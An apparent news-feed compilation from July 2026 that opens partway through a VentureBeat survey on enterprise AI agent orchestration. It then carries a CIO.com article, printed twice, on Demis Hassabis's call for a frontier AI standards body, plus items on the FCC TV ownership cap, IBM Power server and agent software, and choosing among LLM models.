That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.
By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).
At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.
Finding 1: Orchestration runs on model-provider platforms
Anthropic’s Claude leads; open frameworks are marginal
We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.
A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.
The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.
Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.
Finding 2: Model gravity drives platform selection
The base model, not the tooling, decides the platform
We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.
Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.
Finding 3: The job is reliable multi-step execution
Enterprises just orchestration by whether it completes the work
We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.
Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.
The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.
Finding 4: Consolidate, productionize, and build in-house 
Three strategic moves are nearly tied for the year ahead
We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.
The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.
Finding 5: Investment flows to workflow tooling
Tooling and permissions lead the spend; monitoring trails
We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.
Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.
Finding 6: The control plane will be hybrid — and lock-in is why
Enterprises expect to split control between providers and their own layer
We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.
Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.
The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.
Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.
Finding 7: The chatbot trap — most “agents” aren’t agents yet
Enterprises admit most deployments are still chatbot wrappers
We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.
This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.
Finding 8: Fiscal control is still reactive
Only a minority can stop a runaway agent before the bill arrives
Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.
More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.
It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.
The bottom line: The layer is real; most of the agents aren't yet
Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing on model-provider platforms — Anthropic’s Claude leads at 40% — chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most.
But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed “agents” are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The question for subsequent waves is whether the deployed reality closes the gap on the ambition — or whether the chatbot trap proves stickier than the roadmap assumes.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.


DeepMind CEO again pushes for a frontier AI standards body
Wed, 15 Jul 2026 23:01:43 +0200

		
					  
						




Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on artificial general intelligence (AGI) and national security. 



But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.



“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” Hassabis wrote. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”



He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.



Hassabis said he would propose that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants would be encouraged to adopt best practices, such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.



This is not the first time Hassabis has expressed worries about AGI. He has already worked on a US government initiative evaluating AI safety, which involved DeepMind, Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  



The rest of the world may have concerns



Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.



“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst Nader Henein. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”



And, said Sanchit Vir Gogia, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. 



“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. 



“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”



Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.



Walmart’s former director of cybersecurity Steven Eric Fisher, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”



He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”



Aman Mahapatra, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how FINRA operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.



“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”



Carmi Levy, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.



“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”



Some love the proposal



An almost completely opposite stance came from Yuri Goryunov, CIO of consulting firm Acceligence, who applauded the proposed move.



“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”



He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the 1979 Three Mile Island partial reactor meltdown “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”



For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.



“Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”



However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” 



Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas OpenClaw is also targeting.”



DeepMind CEO again pushes for a frontier AI standards body
Wed, 15 Jul 2026 23:01:42 +0200

		
					  
						




Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on artificial general intelligence (AGI) and national security. 



But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.



“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” Hassabis wrote. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”



He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.



Hassabis said he would propose that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants would be encouraged to adopt best practices, such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.



This is not the first time Hassabis has expressed worries about AGI. He has already worked on a US government initiative evaluating AI safety, which involved DeepMind, Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  



The rest of the world may have concerns



Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.



“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst Nader Henein. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”



And, said Sanchit Vir Gogia, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. 



“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. 



“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”



Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.



Walmart’s former director of cybersecurity Steven Eric Fisher, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”



He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”



Aman Mahapatra, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how FINRA operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.



“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”



Carmi Levy, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.



“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”



Some love the proposal



An almost completely opposite stance came from Yuri Goryunov, CIO of consulting firm Acceligence, who applauded the proposed move.



“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”



He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the 1979 Three Mile Island partial reactor meltdown “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”



For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.



“Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”



However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” 



Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas OpenClaw is also targeting.”



This article originally appeared on CIO.com.







FCC Plans To Repeal 39% TV Ownership Cap
Wed, 15 Jul 2026 22:08:36 +0200
The FCC plans to vote on repealing local TV ownership limits, including the 39% national audience cap that currently restricts how much of the U.S. market a single broadcast group can reach. Engadget reports: On August 6, commissioners will hold a ballot to repeal Section 303 of the Communications Act, and with it the 39 percent rule. In essence, the rule limits the reach of a local TV network to no more than 39 percent of the U.S.' total audience market. In its place, the FCC would move to a system whereby it would personally approve or reject TV ownership deals on a case-by-case basis.
 
It's not clear if the FCC even has the authority to reject Section 303 without the explicit consent of the legislature. As Lawrence J. Spiwak wrote in the Yale Journal on Regulation back in January, Section 10 of the Communications Act expressly forbids the FCC from bending the rules around Section 303. "Americans no longer trust the legacy national media to report the news fairly or accurately," wrote FCC Chairman Brendan Carr in an op-ed published on Breitbart. "In fact, only eight percent of Americans have a great deal of trust in mass media. That figure is even lower among Republicans -- sitting at a mere three percent."
 
"... Many local broadcast TV stations are getting hollowed out as a result and turning into little more than mouthpieces for programming produced in New York and Hollywood," he alleged. "That is not what Congress or the FCC intended."






Read more of this story at Slashdot.


IBM targets AI edge with Power server, software upgrades
Wed, 15 Jul 2026 20:37:53 +0200

		
					  
						




IBM has bolstered its Power server portfolio with a new edge S1112 server and announced IBM Power Autonomous Operations, an AI agent that helps customers monitor Power systems and autonomously resolve issues to keep operations running smoothly. Additional software upgrades are aimed at helping customers deploy and manage AI infrastructure components. 



“Each announcement addresses a different layer of the enterprise technology stack, from how infrastructure is deployed and managed to how applications are developed, modernized, and optimized,” wrote Brandon Pederson, senior IBM i product manager, in a blog post about the new products. “Together, they reinforce a broader direction for IBM Power of helping clients move from manually operated infrastructure toward intelligent, resilient, and AI-assisted systems that are easier to manage, easier to modernize, and ready for new workloads.” 



The new IBM Power S1112 is a one‑socket Power11 server engineered for IBM i, AIX, and Linux. Aimed at distributed and edge locations, it is Big Blue’s new entry-level i server and is AI‑ready by design, integrating on‑chip Matrix Math Acceleration (MMA) for fast inferencing and other AI‑driven use cases, such as support for AI-assisted decisions, automation, and analytics close to where data is generated and consumed, Pederson stated.



The server supports two configurations: a 10-core 3.05 to 4.0 Ghz Power11 Processor in a rack version only, and a 4-core 3.60 to 4.0 Ghz Power11 in rack and tower form factors, IBM stated.



“For IBM i clients, Power S1112 is especially important because it expands what entry IBM i environments can do. IBM i P05 clients can run IBM i partitions within the P05 software tier while also using additional system resources for AIX, Linux, VIOS, AI, or open-source workloads on the same server,” Pederson wrote. “This creates a flexible path to consolidate workloads, improve utilization, and support modernization without forcing clients into a larger platform than they need.”


 width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px">
Thomas Prior for IBM



Announced: IBM Power Autonomous Operations



On the software side, IBM Power Autonomous Operations offers automation capabilities via an embedded AI agent that offers natural language interactions designed to help customers manage, tune, and streamline their environments without relying on deep domain expertise for every task, Pederson stated.



“IBM Power Autonomous Operations is designed to continuously monitor, optimize, protect, and manage Power environments. It combines Power telemetry, AI-powered analytics, automation, and operational workflows into a unified experience that helps IT teams reduce complexity, improve resiliency, and increase productivity,” Pederson wrote. 



“Rather than simply showing operators what is happening, Power Autonomous Operations is designed to help teams decide what to do next. The platform analyzes system telemetry, identifies risks and optimization opportunities, and provides intelligent recommendations or automated actions to improve performance, resiliency, and operational efficiency,” Pederson wrote.



Agentic Engine for IBM i



IBM also issued a preview of the Agentic Engine for IBM i, which is aimed at providing greater AI support for Power systems. 



IBM described the Agentic Engine as a new enablement layer designed to make it easier to adopt native and integrated AI agents into IBM i workloads and business processes. The engine provides the runtime, IBM i Knowledge Pack, observability, extensibility, MCP server, and foundational agents that help teams build trusted agents for IBM i without starting from scratch. Developers can build agents using their preferred coding tools, run them close to Db2 for i data under native IBM i object-level authority, and extend them into broader enterprise workflows through APIs and agent-to-agent integration.



With security, governance, and instrumentation built in, the Agentic Engine for IBM i helps organizations manage agent behavior, monitor activity, and support responsible adoption across mission-critical environments, Pederson stated.



IBM Bob Premium Package for i



Also in the AI agent vein, IBM announced support for its Bob AI application development environment for the i system. The idea here is to help customers quickly modernize applications built on RPG and COBOL.



“These capabilities help developers explain complex RPG and COBOL programs, convert Fixed-Format RPG to modern Free-Format RPG, refactor monolithic applications into modular structures, generate RPG, CL, COBOL and DDS code, create technical documentation, and produce unit tests to support validation,” Pederson wrote. “Rather than relying on generic prompts and inconsistent results, IBM i teams can use expert-built skills that deliver more predictable, repeatable and higher-quality outcomes. Agentic workflows help guide multi-step development tasks from understanding and planning through implementation and validation, allowing developers to modernize incrementally without losing control.”



IBM also added new development features to the core operating system for i with IBM i 7.6 Technology Refresh 2 and i 7.5 Technology Refresh 8 that include a variety of features designed to enhance RPG and COBOL development, security, and hybrid cloud integration.



IBM Power S1112 is expected to be generally available on July 24, IBM Power Autonomous Operations is expected to be generally available on September 23, 2026, and IBM Bob Premium Package for i was made generally available on June 24, 2026.



Which AI model should you bet your company on? None of them
Wed, 15 Jul 2026 17:19:39 +0200

					  
						




Every day this past week I did something I suspect millions of other people also did: I stared at an LLM model picker and wondered which one I was supposed to want.



OpenAI just released ⁠GPT-5.6 Sol, Terra, and Luna. Sol is the flagship. Terra offers much of its intelligence for less money. Luna is cheaper still. Anthropic released ⁠Claude Sonnet 5 at the end of June and Opus 4.8 the month prior, with a little Fable 5 emerging in between. Meanwhile, Google, which seemed to be winning the model wars a few months ago, is now getting shade from Gergely Orosz, who ⁠argues that Gemini has slipped outside the top tier for software development and has been out of the major model release game for eons (May 19).



Perhaps Orosz is right. Perhaps he’ll be wrong again in six weeks. Honestly, it’s exhausting.



I use ChatGPT and Claude constantly and still have no principled idea which model to choose most of the time. I tend to click whatever looks like the biggest, most expensive option because I don’t know what I’m giving up by choosing something smaller. “Instant” sounds dangerously unserious. “Thinking” sounds expensive but powerful.



A quick survey of my LinkedIn crowd suggests others also feel my “WHICH MODEL???” pain. More importantly, I suspect most enterprises do, too.



A model doesn’t rot



Before getting carried away, however, it’s worth considering whether any of this model churn actually matters. After all, a model doesn’t rot. The model an enterprise put into production in March performs just as well in July as it did when the company selected it. “Obsolete” generally means that something better now exists, not that the deployed model suddenly stopped summarizing insurance claims or classifying support tickets. (In other words, once you have something working, the idea that “but maybe Opus 200.2 is better!” is really a FOMO problem, not a performance issue.)



Most enterprise workloads don’t live at the frontier anyway. Extraction, summarization, classification, document comparison, and customer-service assistance often work perfectly well with smaller, cheaper models. OpenAI’s own pitch for the trio of GPT-5.6 models isn’t simply that Sol is better. It’s that ⁠Terra and Luna deliver different combinations of intelligence, latency, and cost. Luna, the cheapest tier, nearly matches the previous generation’s peak performance at less than half the estimated cost, according to OpenAI.



The practical question, of course, is where to start. An enterprise can’t test every model, every reasoning setting, and every price tier before doing any work. So here’s my advice (which I don’t follow in my own work, but I’m not defining enterprise strategy and can be a little price-insensitive). Start with the cheapest credible model that appears capable of the task. Give it a representative set of real examples and, before you start testing, define what counts as good enough. If it passes, stop. If it fails, move up a tier or try a model with strengths better suited to the work.



That sounds almost offensively simple, but it reverses the way many people, including me, use these products. We start with the biggest model because we’re afraid of what we might lose. Enterprises should start lower and require evidence before paying for more intelligence.



There are exceptions, of course. For genuinely difficult work, such as autonomous coding, complex research, or high-stakes reasoning, beginning with a frontier model may save time. But even then, the goal should be to establish a quality ceiling, then test whether a cheaper model can meet it. It’s changing the question from “which model is best?” to “what is the least expensive model that reliably clears the bar for this job?”



For many workloads, that price improvement matters more than a few extra benchmark points. ⁠As I argued back in 2023, following AI hype doesn’t help anyone. If your model strategy depends on whichever benchmark screenshot is circulating on X this week, you don’t have a strategy. Not a viable one, anyway. Pick a model and ignore the noise.



Except, of course, when that noise suggests a serious signal.



Sometimes better really is better



Frontier improvements aren’t always incremental, making it advantageous to consider an upgrade. Coding is the obvious example. There’s a significant difference between a model that suggests the next few lines of code and one that can inspect a repository, plan a change, use tools, run tests, discover its own mistakes, and keep working for an extended period. That isn’t merely a nicer autocomplete experience. It can reorganize a development workflow.



This is why enterprises can’t simply standardize on an 18-month-old model and declare victory. In some areas, particularly software development and other agentic work, better models can unlock compounding productivity. A model that reliably completes 80% of a bounded task rather than 50% may justify an entirely different division of labor between humans and machines.



Still, that upgrade isn’t free.



Models differ in how they interpret instructions, call tools, manage context, refuse requests, and fail. Prompts and scaffolding tuned for one model can regress when moved to another. Or costs can explode. As one of my Oracle colleagues discovered just this week, running the same tasks in GPT 5.6 was orders of magnitude more expensive than 5.5. The API change may be trivial, but the revalidation and implications are not.



This leaves enterprises caught between two bad options. They can freeze and potentially miss out on meaningful improvements or chase every release and repeatedly test production systems on faith. What to do?



Stop making model bets



The answer is to stop making LLM bets and start making job-to-be-done bets. Stop asking which model is fastest. Instead, figure out what work you are trying to improve. What does a good result look like? How much latency and cost can the workflow tolerate? How wrong can it be before a human must intervene? Once those questions have answers, model selection becomes less opaque.



A difficult code migration may justify GPT-5.6 Sol or Claude Sonnet 5. A repetitive classification task may work just as well with Luna or another smaller model. A regulated workflow may require a model or deployment option that offers particular data controls. Sometimes the correct model is no LLM at all, like when I’m writing this post. Sorry, AI vendors! (At least you won’t get blamed for my mistakes.)



